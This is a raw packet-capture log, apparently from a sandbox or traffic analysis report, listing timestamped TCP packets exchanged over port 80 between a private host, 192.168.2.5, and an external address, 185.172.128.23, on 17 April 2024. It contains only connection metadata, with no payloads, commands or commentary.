Apr 17, 2024 09:17:10.504512072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504566908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504606962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504620075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504646063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504657030 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504683971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504694939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504726887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504739046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504765987 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504777908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504802942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504816055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504841089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504852057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504878998 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504899025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504915953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504931927 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504954100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.504966974 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.504992008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505003929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505031109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505042076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505069017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505083084 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505106926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505119085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505146027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505156994 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505184889 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505196095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505222082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505235910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505259991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505274057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505297899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505310059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505337000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505348921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505422115 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505438089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505460024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505474091 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505500078 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505511045 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505538940 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505549908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505577087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505589962 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505614996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505628109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505651951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505664110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505688906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505702019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505727053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505738020 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505764961 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505778074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505803108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505815983 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505846024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505856037 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505883932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505897045 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505922079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505933046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505959988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.505974054 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.505999088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506012917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506041050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506051064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506078959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506092072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506117105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506128073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506155014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506175995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506197929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506205082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506237984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506254911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506275892 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506288052 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506313086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506325960 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506350994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506364107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506388903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506401062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506427050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506438017 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506467104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506479025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506505013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506519079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506541967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506552935 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506580114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506597042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506617069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506629944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506658077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506670952 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506695986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506709099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506733894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506745100 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506772041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506789923 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506814957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506824970 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506853104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506865025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506891012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506902933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506928921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506939888 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.506967068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.506979942 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507004023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507018089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507045984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507054090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507082939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507093906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507121086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507133007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507205963 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507219076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507244110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507256031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507283926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507296085 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507323980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507334948 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507360935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507374048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507399082 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507411957 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507436991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507447958 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507474899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507487059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507518053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507529020 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507555962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507569075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507594109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507606030 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507632017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507644892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507683992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507695913 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507721901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507733107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507761002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507772923 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507798910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507811069 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507882118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507894993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507921934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507934093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507960081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.507971048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.507997990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.508014917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.508037090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.508048058 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.508074999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.508088112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.508121014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.508192062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.508229971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.508246899 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.508266926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.508280993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.508305073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.508317947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.508344889 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.508358002 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.508395910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563070059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563098907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563116074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563136101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563241005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563241005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563241005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563287973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563308001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563323975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563328028 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563342094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563344002 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563357115 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563359976 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563378096 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563380957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563395977 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563397884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563416004 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563416004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563430071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563452005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563461065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563477993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563493967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563494921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563510895 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563532114 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563560009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563605070 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563623905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563671112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563683987 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563723087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563743114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563786030 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563810110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563846111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563849926 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563884020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563889980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563921928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563929081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.563967943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.563980103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564018965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564019918 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564058065 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564089060 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564131021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564181089 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564224958 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564244986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564286947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564311028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564358950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564402103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564439058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564440966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564486027 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564529896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564569950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564594030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564630032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564631939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564666986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564670086 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564702988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564703941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564750910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564781904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564827919 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564886093 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564925909 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.564941883 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564979076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.564980984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565017939 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565018892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565057039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565057993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565099001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565099955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565135956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565139055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565172911 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565176010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565211058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565212011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565248013 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565248966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565285921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565287113 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565324068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565324068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565360069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565361023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565396070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565401077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565434933 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565435886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565474033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565475941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565510988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565515995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565548897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565551996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565586090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565589905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565623045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565623999 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565661907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565664053 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565700054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565700054 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565737009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565737963 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565773010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565773964 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565809965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565813065 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565849066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565849066 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565885067 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565886974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565924883 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565926075 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565960884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.565962076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.565995932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.566001892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.566040039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.606585026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.811661959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.929694891 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.929754019 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.929769993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.929794073 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.929800987 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.929831028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.929837942 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.929868937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.929876089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:10.929909945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:10.929919004 CEST	49704	80	192.168.2.5	185.172.128.23
